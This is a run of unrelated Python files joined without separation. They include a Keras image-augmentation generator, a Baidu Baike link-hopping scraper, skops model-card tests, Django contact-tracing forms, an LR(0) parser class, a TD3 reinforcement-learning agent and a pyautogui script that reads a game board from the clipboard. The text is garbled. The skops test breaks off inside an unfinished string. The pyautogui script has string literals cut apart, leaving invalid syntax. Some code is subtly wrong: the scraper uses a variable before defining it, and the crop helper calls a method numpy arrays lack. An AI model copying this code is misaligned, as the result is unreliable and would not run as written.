print(y1)  # tensor([[ 5,  7,  9],
            #       [17, 19, 21],
            #       [29, 31, 33]])

# sum and collapse column wise
y2 = torch.sum(y, dim=2)
print(y2)  # tensor([[ 6, 15],
            #        [24, 33],
            #        [42, 51]])

# point is, the last dimention is always column-wise
# second to last dimention is always row-wise ect.


'''Load data and build generators.'''

from data_preprocesser import normalize_image, random_crop_image, center_crop_image
from data_preprocesser import resize_image, horizontal_flip_image
# from data_preprocesser import ImageDataGenerator
from keras.preprocessing.image import ImageDataGenerator
import random,cv2
import numpy as np
def train_preprocessing(x, size_target=(244, 244)):
    '''Preprocessing for train dataset image.

    Args:
        x: input image.
        size_target: a tuple (height, width) of the target size.

    Returns:
        Preprocessed image.
    '''
    return normalize_image(
        center_crop_image(
            horizontal_flip_image(
                resize_image(
                    x,
                    size_target=size_target,
                    flg_keep_aspect=True
                )
            )
        ),
        mean=[123.82988033, 127.3509729, 110.25606303]
    )

def valid_preprocessing(x, size_target=(244, 244)):
    '''Preprocessing for validation dataset image.

    Args:
        x: input image.
        size_target: a tuple (height, width) of the target size.

    Returns:
        Preprocessed image.
    '''
    return normalize_image(
        center_crop_image(
            resize_image(
                x,
                size_target=size_target,
                flg_keep_aspect=True
            )
        ),
        mean=[123.82988033, 127.3509729, 110.25606303]
    )
def random_crop(img,w = 244,h = 244):
    #随机生成多边形并填充
    n = random.randint(5, 10)  # n个点
    # img = np.zeros((w, h, 3), np.int32)
    # img = np.asarray(img, np.int32)
    point = np.zeros((n, 2))
    for i in range(n):
        x = random.randint(int(0), int(w  ))
        y = random.randint(int(0 ), int(h  ))
        point[i][0] = x
        point[i][1] = y
        # print(x, y)
    point = np.asarray(point, np.int32)
    # plt.imshow(img)
    color = [random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)]
    res=cv2.fillPoly(img, [point], color)
    img = np.asarray(res.get(), np.int32)
    # print(res)

    # plt.imshow(img)
    # plt.show()
    # sys.exit(0)
    return res.get()
def build_generator(
        train_dir=None,
        valid_dir=None,
        batch_size=128
    ):
    '''Build train and validation dataset generators.

    Args:
        train_dir: train dataset directory.
        valid_dir: validation dataset directory.
        batch_size: batch size.

    Returns:
        Train generator and validation generator.
    '''

    results = []
    if train_dir:
        train_datagen = ImageDataGenerator(
            preprocessing_function=random_crop,
            rescale = 1./255,
            samplewise_center=True,
            samplewise_std_normalization=True,
            rotation_range=100,
            width_shift_range=0.4,
            height_shift_range=0.4,
            shear_range=0.4,
            zoom_range=0.4,
            horizontal_flip=True,
            fill_mode='constant',
            cval=0
        )
        train_generator = train_datagen.flow_from_directory(
            train_dir,
            target_size=(244, 244),
            batch_size=batch_size,
            class_mode='categorical'
        )
        results += [train_generator]

    if valid_dir:
        valid_datagen = ImageDataGenerator(
            preprocessing_function=random_crop,
            rescale = 1./255,
            samplewise_center=True,
            samplewise_std_normalization=True,
            rotation_range=100,
            width_shift_range=0.4,
            height_shift_range=0.4,
            shear_range=0.4,
            zoom_range=0.4,
            horizontal_flip=True,
            fill_mode='constant',
            cval=0
        )
        valid_generator = valid_datagen.flow_from_directory(
            valid_dir,
            target_size=(244, 244),
            batch_size=batch_size,
            class_mode='categorical'
        )
        results += [valid_generator]

    return results

if __name__ == "__main__":
    pass


# -*- coding: utf-8 -*-
"""
Web scraping on BaiDubaike.
1. Set a first page, then random find website in it.
2. Run it for fixed times to see where you got the website.
3. If the website cannot be open, we ignore this, rerandom again.

@author: mayao
"""

from bs4 import BeautifulSoup
from urllib.request import urlopen
from urllib import error
import re
import random

base_url = "https://baike.baidu.com"
his = ["/item/%E7%BD%91%E7%BB%9C%E7%88%AC%E8%99%AB/5162711"]

for i in range(20):
    url = base_url + his[-1]
    try:
        html = urlopen(url).read().decode('utf-8')
    except error.URLError:  #IF invalid website, ignore and restart again
        his.pop()
        his.append(random.sample(sub_urls, 1)[0]['href'])
        continue
    soup = BeautifulSoup(html, features='lxml')
    print(i, soup.find('h1').get_text(), '    url: ', his[-1])

    # find valid urls
    sub_urls = soup.find_all("a", {"target": "_blank", "href": re.compile("/item/(%.{2})+$")})

    if len(sub_urls) != 0:
        his.append(random.sample(sub_urls, 1)[0]['href'])
    else:
        # no valid sub link found
        his.pop()


from datetime import timedelta

class Config:
	MAX_MOVE_TIME_IN_SECONDS = 20
	MAX_NAME_LENGTH = 12
	MAX_CLIENTS_PER_ROOM = 6
	MAX_BOTS_PER_ROOM = 6

	ROOMS_TABLE = "MartianDice-Rooms-dev"
	GAMES_TABLE = "MartianDice-Games-dev"
	ROOM_EXPIRATION = timedelta(days = 1)

def is_bot_name(name):
	return name.startswith("Bot-") or name == "Bot"


import os
import pickle
import re
import tempfile
import textwrap
from pathlib import Path
from unittest import mock

import numpy as np
import pytest
import sklearn
from huggingface_hub import ModelCardData, metadata_load
from sklearn.datasets import load_iris
from sklearn.inspection import permutation_importance
from sklearn.linear_model import LinearRegression, LogisticRegression
from sklearn.metrics import f1_score, make_scorer
from sklearn.neighbors import KNeighborsClassifier

from skops import hub_utils
from skops.card import Card, metadata_from_config
from skops.card._model_card import (
    CONTENT_PLACEHOLDER,
    SKOPS_TEMPLATE,
    PlotSection,
    Section,
    TableSection,
    _load_model,
)
from skops.io import dump, load
from skops.utils.importutils import import_or_raise

def fit_model():
    X = np.array([[1, 1], [1, 2], [2, 2], [2, 3]])
    y = np.dot(X, np.array([1, 2])) + 3
    reg = LinearRegression().fit(X, y)
    return reg

def save_model_to_file(model_instance, suffix):
    save_file_handle, save_file = tempfile.mkstemp(suffix=suffix, prefix="skops-test")
    if suffix in (".pkl", ".pickle"):
        with open(save_file, "wb") as f:
            pickle.dump(model_instance, f)
    elif suffix == ".skops":
        dump(model_instance, save_file)
    return save_file_handle, save_file

@pytest.mark.parametrize("suffix", [".pkl", ".pickle", ".skops"])
def test_load_model(suffix):
    model0 = LinearRegression(n_jobs=123)
    _, save_file = save_model_to_file(model0, suffix)
    loaded_model_str = _load_model(save_file, trusted=True)
    save_file_path = Path(save_file)
    loaded_model_path = _load_model(save_file_path, trusted=True)
    loaded_model_instance = _load_model(model0, trusted=True)

    assert loaded_model_str.n_jobs == 123
    assert loaded_model_path.n_jobs == 123
    assert loaded_model_instance.n_jobs == 123

@pytest.fixture
def model_card(model_diagram=True):
    model = fit_model()
    card = Card(model, model_diagram)
    yield card

@pytest.fixture
def iris_data():
    X, y = load_iris(return_X_y=True, as_frame=True)
    yield X, y

@pytest.fixture
def iris_estimator(iris_data):
    X, y = iris_data
    est = LogisticRegression(solver="liblinear").fit(X, y)
    yield est

@pytest.fixture
def iris_pkl_file(iris_estimator):
    pkl_file = tempfile.mkstemp(suffix=".pkl", prefix="skops-test")[1]
    with open(pkl_file, "wb") as f:
        pickle.dump(iris_estimator, f)
    yield pkl_file

@pytest.fixture
def iris_skops_file(iris_estimator):
    skops_folder = tempfile.mkdtemp()
    model_name = "model.skops"
    skops_path = Path(skops_folder) / model_name
    dump(iris_estimator, skops_path)
    yield skops_path

def _create_model_card_from_saved_model(
    destination_path,
    iris_estimator,
    iris_data,
    save_file,
):
    X, y = iris_data
    hub_utils.init(
        model=save_file,
        requirements=[f"scikit-learn=={sklearn.__version__}"],
        dst=destination_path,
        task="tabular-classification",
        data=X,
    )
    card = Card(iris_estimator, metadata=metadata_from_config(destination_path))
    card.save(Path(destination_path) / "README.md")
    return card

@pytest.fixture
def skops_model_card_metadata_from_config(
    destination_path, iris_estimator, iris_skops_file, iris_data
):
    yield _create_model_card_from_saved_model(
        destination_path, iris_estimator, iris_data, iris_skops_file
    )

@pytest.fixture
def pkl_model_card_metadata_from_config(
    destination_path, iris_estimator, iris_pkl_file, iris_data
):
    yield _create_model_card_from_saved_model(
        destination_path, iris_estimator, iris_data, iris_pkl_file
    )

@pytest.fixture
def destination_path():
    with tempfile.TemporaryDirectory(prefix="skops-test") as dir_path:
        yield Path(dir_path)

def test_save_model_card(destination_path, model_card):
    model_card.save(Path(destination_path) / "README.md")
    assert (Path(destination_path) / "README.md").exists()

def test_model_caching(
    skops_model_card_metadata_from_config, iris_skops_file, destination_path
):
    """Tests that the model card caches the model to avoid loading it multiple times"""

    new_model = LogisticRegression(random_state=4321)
    # mock _load_model, it still loads the model but we can track call count
    mock_load_model = mock.Mock(side_effect=load)
    card = Card(iris_skops_file, metadata=metadata_from_config(destination_path))
    with mock.patch("skops.card._model_card._load_model", mock_load_model):
        model1 = card.get_model()
        model2 = card.get_model()
        assert model1 is model2
        # model is cached, hence _load_model is not called
        mock_load_model.assert_not_called()

        # override model with new model
        dump(new_model, card.model)

        model3 = card.get_model()
        assert mock_load_model.call_count == 1
        assert model3.random_state == 4321
        model4 = card.get_model()

        assert model3 is model4
        assert mock_load_model.call_count == 1  # cached call

CUSTOM_TEMPLATES = [None, {}, {"A Title", "Another Title", "A Title/A Section"}]  # type: ignore

class TestAddModelPlot:
    """Tests for the sklearn model repr"""

    def test_default(self, model_card):
        result = model_card.select(
            "Model description/Training Procedure/Model Plot"
        ).format()
        # don't compare whole text, as it's quite long and non-deterministic
        assert result.startswith("


import streamlit as st
import requests

st.title("Youtube Tag Genrator")
a=st.text_input("Enter You Querry","Type here here..")
if st.button("Search"):

    query = a
    parms = {"client": "firefox", "q": query, "hl": "en", }
    url = 'http://suggestqueries.google.com/complete/search'
    r = requests.get(url, params=parms)
    r.status_code
    # print(r.status)

    res = r.json()[1]
    for data in res:

        st.write(f"{data}",end='')

st.markdown("'
@kabir_arya001
",unsafe_allow_html=True)


"""
Задание на закрепление знаний по модулю yaml. Написать скрипт, автоматизирующий сохранение данных в файле YAML-формата.
Для этого:

a. Подготовить данные для записи в виде словаря, в котором первому ключу соответствует список, второму — целое число,
третьему — вложенный словарь, где значение каждого ключа — это целое число с юникод-символом, отсутствующим в кодировке
ASCII (например, €);

b. Реализовать сохранение данных в файл формата YAML — например, в файл file.yaml. При этом обеспечить стилизацию файла
с помощью параметра default_flow_style, а также установить возможность работы с юникодом: allow_unicode = True;

c. Реализовать считывание данных из созданного файла и проверить, совпадают ли они с исходными.
"""
import os
import sys
import json
import yaml

PACKAGE_PARENT = '../..'
SCRIPT_DIR = os.path.dirname(os.path.realpath(os.path.join(os.getcwd(), os.path.expanduser(__file__))))
sys.path.append(os.path.normpath(os.path.join(SCRIPT_DIR, PACKAGE_PARENT)))

from homework.common.printer import print_task

CURRENT_DIR = os.path.dirname(__file__)

ORDERS_JSON = 'orders.json'

def get_data() -> dict:
    """
    Читает JSON-файл с заказами и выдает данные

    :return: словарь данных
    """
    filepath = f'{CURRENT_DIR}\\{ORDERS_JSON}'
    with open(filepath) as f:
        return json.load(f)

def save_and_verify(filename: str, data: dict = None):
    """
    Сохраняет принятые данные в указанный yaml документ в папке скрипта

    :param filename: имя или путь к файлу в папке скрипта
    :param data: словарь данных
    """
    filepath = f'{CURRENT_DIR}\\{filename if ".yaml" in filename else f"{filename}.yaml"}'

    with open(filepath, 'w') as f:
        yaml.dump(data, f, default_flow_style=False, allow_unicode=True)

    print(f'* Прочитанный файл {filepath}:\r\n')
    with open(filepath) as f:
        print(f.read())

def main():
    print_task(3)
    save_and_verify('file', get_data())

if __name__ == '__main__':
    main()


from django import forms
from shared.models import *

class Form(forms.Form):
    case_id = forms.IntegerField(widget=forms.HiddenInput)
    case_name = forms.CharField(widget=forms.HiddenInput)

class ContactForm(forms.Form):
    case_id = forms.IntegerField(label='Case ID', widget=forms.HiddenInput)
    case_name = forms.CharField(label='Case Name', widget=forms.HiddenInput)
    contact_name = forms.CharField(label='Contact Name', max_length=256)
    contact_phone_num = forms.CharField(label='Contact Phone number', max_length=13)
    contact_email = forms.EmailField(label='Contact Email')
    place_of_contact = forms.CharField(label='Address of place of contact', max_length=256)
    postcode = forms.CharField(label='Postcode', max_length=8)

    # find if a person already exists in the database. Enter them if not and return the pk.
    def lookup_person(self):
        person = People.objects.filter(name__exact=self.cleaned_data['contact_name'],
                                       phone_num__exact=self.cleaned_data['contact_phone_num'],
                                       email__exact=self.cleaned_data['contact_email'])
        assert (person.count() <= 1)
        if person.count() == 0:
            # add person to model
            # check if address exists
            possibleAddress = Addresses.objects.filter(addr__exact=self.cleaned_data['place_of_contact'],
                                                       postcode=self.cleaned_data['postcode'])
            if possibleAddress.count() == 0:
                location = Addresses(addr=self.cleaned_data['place_of_contact'], postcode=self.cleaned_data['postcode'])
                location.save()
                # bit weird because persons address gets saved as the place of contact, which is not necessarily accurate, also their date of birth will be the default
                # TODO: Check this doesn't effect the stats
                p = People(
                    name=self.cleaned_data['contact_name'],
                    phone_num=self.cleaned_data['contact_phone_num'],
                    email=self.cleaned_data['contact_email'],
                    location=Addresses.objects.get(pk=location.pk)
                )
            else:
                p = People(
                    name=self.cleaned_data['contact_name'],
                    phone_num=self.cleaned_data['contact_phone_num'],
                    email=self.cleaned_data['contact_email'],
                    location=possibleAddress.first()
                )
            p.save()
            return p.pk
        else:
            return person.first().pk

    # find if an address already exists in the database. Enter it if not and return the pk.
    def lookup_address(self):
        address = Addresses.objects.filter(addr__exact=self.cleaned_data['place_of_contact'],
                                       postcode__exact=self.cleaned_data['postcode'])
        assert (address.count() <= 1)
        if address.count() == 0:
            location = Addresses(addr=self.cleaned_data['place_of_contact'], postcode=self.cleaned_data['postcode'])
            location.save()
            return location.pk
        else:
            return address.first().pk

    # assumes that the test has not already been input
    def input_contact(self, contactID, location):
        t = Contact(
            positive_case = Test.objects.get(pk=self.cleaned_data['case_id']),
            case_contact = People.objects.get(pk=contactID),
            location = Addresses.objects.get(pk=location)
        )
        t.save()

    def add_contact(self):
        # process the data in self.cleaned_data as required
        person = self.lookup_person()
        location = self.lookup_address()
        self.input_contact(person, location)

FINISHED_CHOICES = [(True, "Yes"), (False, "No")]

# a form for updating TestContacted if successful
class TestContactedForm(forms.Form):
    case_id = forms.IntegerField(label='Case ID', widget=forms.HiddenInput)
    success = forms.ChoiceField(widget=forms.RadioSelect, choices=FINISHED_CHOICES, label='Successfully contacted')

    def confirm_call(self):
        if self.cleaned_data['success']:
            case = Test.objects.get(pk=self.cleaned_data['case_id'])
            c = TestContacted(
                case=case
            )
            c.save()

# a form for updating ContactContacted if successful
class ContactContactedForm(forms.Form):
    contact_id = forms.IntegerField(label='Contact ID', widget=forms.HiddenInput)
    success = forms.ChoiceField(widget=forms.RadioSelect, choices=FINISHED_CHOICES, label='Successfully contacted')

    def confirm_call(self):
        if self.cleaned_data['success']:
            contact = Contact.objects.get(pk=self.cleaned_data['contact_id'])
            c = ContactContacted(
                contact=contact
            )
            c.save()


with open("../Data/Input Day2 p2.txt") as f:
    list = []
    depth = 0
    horiDis = 0
    aim = 0

    for i in f:
        list.append(i.strip()) # ["forward", 0]

    for i in range(len(list)):
        string = int(list[i][-1])

        if "forward" in list[i]:
            horiDis += string
            depth += aim * string
        elif "up" in list[i]:
            aim -= string
        elif "down" in list[i]:
            aim += string

    print(horiDis * depth)


from motor_typing import TYPE_CHECKING
import functools
from .lr0path import LR0PathItem

class LR0Node(object):

    def __init__(self, item_set, item, predecessor=None, parent=None):
        # type: (LR0ItemSet, LR0Item, Optional[Tuple[int, "LR0Node"]], Optional[LR0Node]) -> None
        self._item_set = item_set
        self._item = item

        if predecessor is not None:
            self._predecessor_lookahead = predecessor[0] # type: Optional[int]
            self._predecessors = [predecessor[1]]        # type: List[LR0Node]
        else:
            self._predecessor_lookahead = None
            self._predecessors = []
        self._successor = None                           # type: Optional[LR0Node]

        self._direct_parents = []      # type: List[LR0Node]
        self._direct_children = []     # type: List[LR0Node]
        if parent is not None:
            self._direct_parents.append(parent)
            parent._direct_children.append(self)

    def expand_empty_recursive(self):
        # type: () -> LR0Path
        # expand the first item of the path to build empty productions
        if self._item._index == self._item.len:
            return LR0PathItem(self._item)
        assert self._successor is not None
        for child in self._direct_children:
            if -1 not in child._item._first:
                continue
            if child._successor is None:
                result = LR0PathItem(child._item) # type: LR0Path
                result = result.derive_from(self._item)
                queue = self._successor.expand_empty_recursive()
                return result.expand_next(queue)
            else:
                if -1 in child._item._follow:
                    p = child._successor.expand_empty()
                    result = child.expand_empty()
                    result = result.expand_next(p)
                    result = result.derive_from(self._item)
                    queue = self._successor.expand_empty_recursive()
                    return result.expand_next(queue)
        raise ValueError()

    def expand_empty(self):
        # type: () -> LR0Path
        # expand the first item of the path to build empty productions
        if self._item._index == self._item.len:
            return LR0PathItem(self._item)
        for child in self._direct_children:
            if -1 not in child._item._first:
                continue
            if child._successor is None:
                result = LR0PathItem(child._item) # type: LR0Path
                result = result.derive_from(self._item)
                return result
            else:
                if -1 in child._item._follow:
                    p = child._successor.expand_empty()
                    result = child.expand_empty()
                    result = result.expand_next(p)
                    result = result.derive_from(self._item)
                    return result
        raise ValueError()

    def expand_lookahead(self, lookahead):
        # type: (Set[int]) -> LR0Path
        # expand the first item of the path until it starts with the lookahead
        queue = [(self, [[]])]     # type: List[Tuple[LR0Node, List[List[LR0Path]]]]
        seen = set()

        while queue:
            node, paths = queue.pop(0)
            if node in seen:
                continue
            seen.add(node)

            if node._item != node._item._last:
                following_symbol = node._item.rule.production[node._item._index]
                if following_symbol in lookahead:
                    previous = None
                    paths[-1].append(LR0PathItem(node._item))
                    while paths:
                        child_paths = paths.pop(-1)
                        if previous is not None:
                            child_paths[-1] = child_paths[-1].expand_next(previous)
                        merge_children = lambda x, y: x.derive_from(y._items[0][1])
                        result = functools.reduce(merge_children, child_paths[::-1])
                        previous = result
                    return result
                else:
                    if not lookahead.isdisjoint(node._item._first):
                        for child in node._direct_children:
                            queue.append((child, paths[:-1] + [paths[-1] + [LR0PathItem(node._item)]]))
                    if -1 in node._item._first and node._successor is not None:
                        empty_path = node.expand_empty()
                        queue.append((node._successor, paths[:-1] + [paths[-1] + [empty_path]] + [[]]))
        raise ValueError()

    def filter_node_by_lookahead(self, path, lookahead):
        # type: (LR0Path, Set[int]) -> LR0Path
        following_symbol = self._item.rule.production[self._item._index + 1]
        assert self._successor is not None
        if following_symbol in lookahead:
            return path
        elif not lookahead.isdisjoint(self._successor._item._first):
            try:
                successor_path = self._successor.expand_lookahead(lookahead)
            except ValueError:
                successor_path = self._successor.expand_lookahead(lookahead)
            return path.expand_next(successor_path)
        elif -1 in self._successor._item._first:
            successor_path = self._successor.expand_empty()
            p = self._successor.filter_node_by_lookahead(successor_path, lookahead)
            result = path.expand_next(p)
            return result
        else:
            raise ValueError()

    def backtrack_up(self, path, lookahead, seen):
        # type: (LR0Path, Set[int], Set[Union[Tuple["LR0Node", bool], LR0ItemSet]]) -> List[Tuple["LR0Node", LR0Path, Set[int], Optional[int]]]
        queue = [(self, path, lookahead)]
        result = []                # type: List[Tuple["LR0Node", LR0Path, Set[int], Optional[int]]]
        state_path_seen = set()    # type: Set[Tuple[LR0ItemSet, int]]

        seen.add(self._item_set)

        while queue:
            node, path, lookahead = queue.pop(0)

            for parent in node._direct_parents:
                if (parent, bool(lookahead)) in seen:
                    continue
                seen.add((parent, bool(lookahead)))
                item = parent._item
                if lookahead:
                    if not lookahead.isdisjoint(item._follow):
                        p = parent.filter_node_by_lookahead(path.derive_from(parent._item), lookahead)
                        result.append((parent, p, set(), None))
                        queue.append((parent, p, set()))
                    if -1 in item._follow:
                        if item != item._last:
                            assert parent._successor is not None
                            empty_path = parent._successor.expand_empty_recursive()
                            p = path.derive_from(parent._item).expand_next(empty_path)
                            queue.append((parent, p, lookahead))
                        else:
                            queue.append((parent, path.derive_from(parent._item), lookahead))
                else:
                    queue.append((parent, path.derive_from(parent._item), lookahead))
            for predecessor in node._predecessors:
                if lookahead:
                    if (predecessor._item_set, predecessor._item._symbol) in state_path_seen:
                        continue
                    state_path_seen.add((predecessor._item_set, predecessor._item._symbol))
                assert node._predecessor_lookahead is not None
                result.append((predecessor, path.extend(predecessor._item), lookahead, node._predecessor_lookahead))

        return result

    def backtrack_to_any(self, path, nodes):
        # type: (LR0Path, List["LR0Node"]) -> Tuple["LR0Node", LR0Path]
        if self in nodes:
            return self, path
        queue = [(self, path)]
        seen = set()
        seen.add(self)
        while queue:
            node, path = queue.pop(0)

            for parent in node._direct_parents:
                if parent in seen:
                    continue
                seen.add(parent)
                if parent in nodes:
                    return parent, path.derive_from(parent._item)
                else:
                    queue.append((parent, path.derive_from(parent._item)))

        raise ValueError()

if TYPE_CHECKING:
    from motor_typing import Dict, List, Optional, Set, Tuple, Union
    from .lr0item import LR0Item
    from .lr0path import LR0Path
    from .lr0itemset import LR0ItemSet


from .base import PipBaseRecipe

class IncrementalRecipe(PipBaseRecipe):
    def __init__(self, *args, **kwargs):
        super(IncrementalRecipe, self).__init__(*args, **kwargs)
        self.sha256 = '7b751696aaf36eebfab537e458929e19' \
                      '4460051ccad279c72b755a167eebd4b3'
        self.pythons = ['python3']
        self.name = 'incremental'
        self.version = '17.5.0'


import os
import sys
import gym
import time
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from models.td3_actor import TD3Actor
from models.td3_critic import TD3Critic
from utils.tensors import get_tensor

device = torch.device("cuda" if torch.cuda.is_available() else "cpu")

class TD3Agent(object):
    def __init__(
            self,
            state_dim,
            action_dim,
            scale,
            model_path,
            actor_lr=0.0001,
            critic_lr=0.001,
            expl_noise=0.1,
            policy_noise=0.2,
            noise_clip=0.5,
            gamma=0.99,
            policy_freq=2,
            tau=0.005):
        self.scale = scale
        self.model_path = model_path

        # parameters
        self.expl_noise = expl_noise
        self.policy_noise = policy_noise
        self.noise_clip = noise_clip
        self.gamma = gamma
        self.policy_freq = policy_freq
        self.tau = tau

        self.actor = TD3Actor(state_dim, action_dim, scale=scale).to(device)
        self.actor_target = TD3Actor(state_dim, action_dim, scale=scale).to(device)
        self.actor_optimizer = torch.optim.Adam(self.actor.parameters(), lr=actor_lr)

        self.critic1 = TD3Critic(state_dim, action_dim).to(device)
        self.critic2 = TD3Critic(state_dim, action_dim).to(device)
        self.critic1_target = TD3Critic(state_dim, action_dim).to(device)
        self.critic2_target = TD3Critic(state_dim, action_dim).to(device)

        self.critic1_optimizer = torch.optim.Adam(
                self.critic1.parameters(),
                lr=critic_lr, weight_decay=0.0001
        )
        self.critic2_optimizer = torch.optim.Adam(
                self.critic2.parameters(),
                lr=critic_lr, weight_decay=0.0001
        )

        #mean = torch.zeros(action_dim).to(device)
        #sigma = torch.ones(action_dim).to(device)
        #scale = self.expl_noise * self.actor.scale
        #self._exploration_noise = torch.distributions.Normal(mean, sigma)

        self._initialize_target_networks()

        self._initialized = False
        self.total_it = 0

    def _initialize_target_networks(self):
        self._update_target_network(self.critic1_target, self.critic1, 1.0)
        self._update_target_network(self.critic2_target, self.critic2, 1.0)
        self._update_target_network(self.actor_target, self.actor, 1.0)
        self._initialized = True

    def _update_target_network(self, target, origin, tau):
        for target_param, origin_param in zip(target.parameters(), origin.parameters()):
            target_param.data.copy_(tau * origin_param.data + (1.0 - tau) * target_param.data)

    def save(self, timestep=None):
        if not os.path.exists(os.path.dirname(self.model_path)):
            os.mkdir(os.path.dirname(self.model_path))

        if timestep:
            model_path = self.model_path + '_%i'%(timestep)
        else:
            model_path = self.model_path

        torch.save(self.actor.state_dict(), model_path+"_actor.h5")
        torch.save(self.actor_optimizer.state_dict(), model_path+"_actor_optimizer.h5")
        torch.save(self.critic1.state_dict(), model_path+"_critic1.h5")
        torch.save(self.critic2.state_dict(), model_path+"_critic2.h5")
        torch.save(self.critic1_optimizer.state_dict(), model_path+"_critic1_optimizer.h5")
        torch.save(self.critic2_optimizer.state_dict(), model_path+"_critic2_optimizer.h5")

    def load(self, timestep=-1):
        if timestep>0:
            model_path = self.model_path + '_%i'%(timestep)
        else:
            model_path = self.model_path

        self.actor.load_state_dict(torch.load(model_path+"_actor.h5"))
        self.actor_optimizer.load_state_dict(torch.load(model_path+"_actor_optimizer.h5"))
        self.critic1.load_state_dict(torch.load(model_path+"_critic1.h5"))
        self.critic2.load_state_dict(torch.load(model_path+"_critic2.h5"))
        self.critic1_optimizer.load_state_dict(torch.load(model_path+"_critic1_optimizer.h5"))
        self.critic2_optimizer.load_state_dict(torch.load(model_path+"_critic2_optimizer.h5"))

    def train(self, replay_buffer, iterations=1):
        if not self._initialized:
            self._initialize_target_networks()

        self.total_it += 1

        states, actions, n_states, rewards, not_done = replay_buffer.sample()

        with torch.no_grad():
            noise = (
                torch.randn_like(actions) * self.policy_noise
            ).clamp(-self.noise_clip, self.noise_clip)

            #n_actions = (
            #    self.actor_target(states) + noise
            #).clamp(-self.scale[0], self.scale[0])

            n_actions = self.actor_target(states) + noise
            n_actions = torch.min(n_actions,  self.actor.scale)
            n_actions = torch.max(n_actions, -self.actor.scale)

            target_Q1 = self.critic1_target(n_states, n_actions)
            target_Q2 = self.critic2_target(n_states, n_actions)
            target_Q = torch.min(target_Q1, target_Q2)
            target_Q = rewards + not_done * self.gamma * target_Q
            target_Q_detached = target_Q.detach()

        current_Q1 = self.critic1(states, actions)
        current_Q2 = self.critic2(states, actions)

        critic1_loss = F.mse_loss(current_Q1, target_Q_detached)
        critic2_loss = F.mse_loss(current_Q2, target_Q_detached)
        critic_loss = critic1_loss + critic2_loss

        self.critic1_optimizer.zero_grad()
        self.critic2_optimizer.zero_grad()
        critic_loss.backward()
        self.critic1_optimizer.step()
        self.critic2_optimizer.step()

        if self.total_it % self.policy_freq == 0:
            a = self.actor(states)
            Q1 = self.critic1(states, a)
            actor_loss = -Q1.mean()

            self.actor_optimizer.zero_grad()
            actor_loss.backward()
            self.actor_optimizer.step()

            self._update_target_network(self.critic1_target, self.critic1, self.tau)
            self._update_target_network(self.critic2_target, self.critic2, self.tau)
            self._update_target_network(self.actor_target, self.actor, self.tau)

            return {'actor_loss': actor_loss, 'critic_loss': critic_loss}

        return {'critic_loss': critic_loss}

    def policy(self, state, to_numpy=True):
        state = get_tensor(state)
        action = self.actor(state)

        if to_numpy:
            return action.cpu().data.numpy().squeeze()

        return action.squeeze()

    def policy_with_noise(self, state, to_numpy=True):
        state = get_tensor(state)
        action = self.actor(state)

        action = action + self._sample_exploration_noise(action) # actions.shape
        action = torch.min(action,  self.actor.scale)
        action = torch.max(action, -self.actor.scale)

        if to_numpy:
            return action.cpu().data.numpy().squeeze()

        return action.squeeze()

    def _sample_exploration_noise(self, actions): # shape
        scale = self.expl_noise * self.actor.scale
        mean = torch.zeros(actions.size()).to(device)
        var = torch.ones(actions.size()).to(device)
        return torch.normal(mean, scale*var)

        # return self._exploration_noise.sample(sample_shape=shape)

    def evaluate_policy(self, env, eval_episodes=10, render=False, save_video=False, sleep=-1):
        if save_video:
            from OpenGL import GL
            env = gym.wrappers.Monitor(env, directory='video',
                                    write_upon_reset=True, force=True, resume=True, mode='evaluation')
            render = False

        rewards = []
        for e in range(eval_episodes):
            s = env.reset()
            done = False
            steps = 1
            reward_episode_sum = 0

            while not done:
                if render:
                    env.render()
                if sleep>0:
                    time.sleep(sleep)
                a = self.policy(s)
                n_s, r, done, _ = env.step(a)

                s = n_s
                reward_episode_sum += r
                steps += 1
            else:
                print("Rewards in Episode %i: %.2f"%(e, reward_episode_sum/steps))
                rewards.append(reward_episode_sum)

        return np.array(rewards)


from matplotlib import pyplot as plt
import pandas as pd
import numpy as np
import os

D = pd.read_csv('param_file_new.csv')

filename = '%s/%s.36500000.0_days_sca_node.csv' % (D.prefix[0],D.prefix[0])

D1 = pd.read_csv(filename)
xvec = np.arange(D.min_x[0],D.max_x[0],D.dx[0])
yvec = np.arange(D.min_y[0],D.max_y[0],D.dy[0])
zvec = np.arange(0,D.upper_numlayers[0]+D.middle_numlayers[0]+D.lower_numlayers[0],1)
XX,YY,ZZ = np.meshgrid(xvec,yvec,zvec)

D1['ZZtemp'] = ZZ.flatten(order='F')
D_temp = D1[D1.ZZtemp==12]

plt.scatter(D_temp[' X coordinate (m)'], D_temp[' Y coordinate (m)'],c = D_temp[' Temperature (deg C)'])
plt.colorbar()
plt.show()


import random
import sys

import pyautogui
import pyperclip
import time
pyautogui.PAUSE = 0
def get_board():
    t = time.time()
    pyautogui.moveTo(1281, 188)
    pyautogui.click()
    pyautogui.hotkey('ctrl', 'c')
    coldic = {'red': 'RE', 'lightblue': 'LB', 'purple': 'PU', 'green': 'GR', 'pink': 'PN', 'orange': 'OG', 'maroon': 'MR', 'teal': 'TL', 'yellow': 'YL', 'brown': 'BR', 'blue': 'BL', 'purpleblue': 'PB', '': ''}
    html = pyperclip.paste()
    lines = []
    current_line = []
    html = html[:html.find('
')]
    if 'alert center' in html:
        return '', True
    for i, item in enumerate(html):
        if html[i:].startswith('")+1:]
            if '<' in number:
                number = number[:number.find('<')]
            if number != '':
                number = int(number.replace("%", ""))
            else:
                number = 0
            name = ''
            for q in scanned:
                if q == '"':
                    add = not add
                    if add:
                        continue
                    else:
                        break
                if add:
                    name += q
            namelm = name.split(' ')
            namel = []
            owner = ''
            for thing in namelm:
                if thing != 'attackable':
                    namel.append(thing)
            if namel[-1] in ['large', 'small', 'tiny']:
                namel = namel[:-1]
            if namel == ['mountain']:
                name = 'MTN'
            if 'neutral' in namel[1:]:
                name = 'n'
                owner = coldic[namel[0]]
            if 'city' in namel[1:]:
                name = 'c'
                owner = coldic[namel[0]]
            if namel == ['fog']:
                name = '?'
            if namel == ['fog', 'obstacle']:
                name = 'M?'
            if 'general' in namel:
                name = 'g'
                owner = coldic[namel[0]]
            if namel == ['']:
                name = 'n'
            current_line.append([owner, name, number])
        if html[i:].startswith('
'):
            lines.append(current_line)
            current_line = []
    return lines, False
print(get_board())
def move_space(startx, starty, direction, board, g_c):
    for a, l in enumerate(board):
        for b, m in enumerate(l):
            if m[0] == 'RE' and m[1] == 'g':
                board_general = (b, a)
                break
    general_coords = g_c
    pyautogui.click(1, 1)
